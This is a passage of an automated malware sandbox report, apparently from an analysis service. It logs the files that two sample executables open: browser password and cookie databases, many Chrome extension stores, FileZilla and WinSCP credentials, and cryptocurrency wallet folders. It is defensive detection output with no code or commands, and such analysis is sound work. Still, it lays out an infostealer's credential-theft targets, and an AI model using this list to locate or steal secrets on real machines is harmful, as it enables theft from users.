Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\key4.db
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\to-be-removed\key4.db
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\2918063365piupsah.files\key4.db
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\archived\key4.db
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\glean\tmp\key4.db
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\archived\2023-10\key4.db
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\crashes\events\key4.db
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\3561288849sdhlie.files\key4.db
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\glean\db\key4.db
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\bookmarkbackups\key4.db
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\key4.db
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\key4.db
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\key4.db
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\minidumps\key4.db
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\glean\key4.db
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\crashes\key4.db
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.files\key4.db
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\security_state\key4.db
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\0absryc3.default\key4.db
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.files\key4.db
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\glean\events\key4.db
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\glean\pending_pings\key4.db
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\saved-telemetry-pings\key4.db
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\key4.db
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\key4.db
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.files\key4.db
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\sessionstore-backups\key4.db
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.files\key4.db
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik

Tries to harvest and steal ftp login credentials

Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
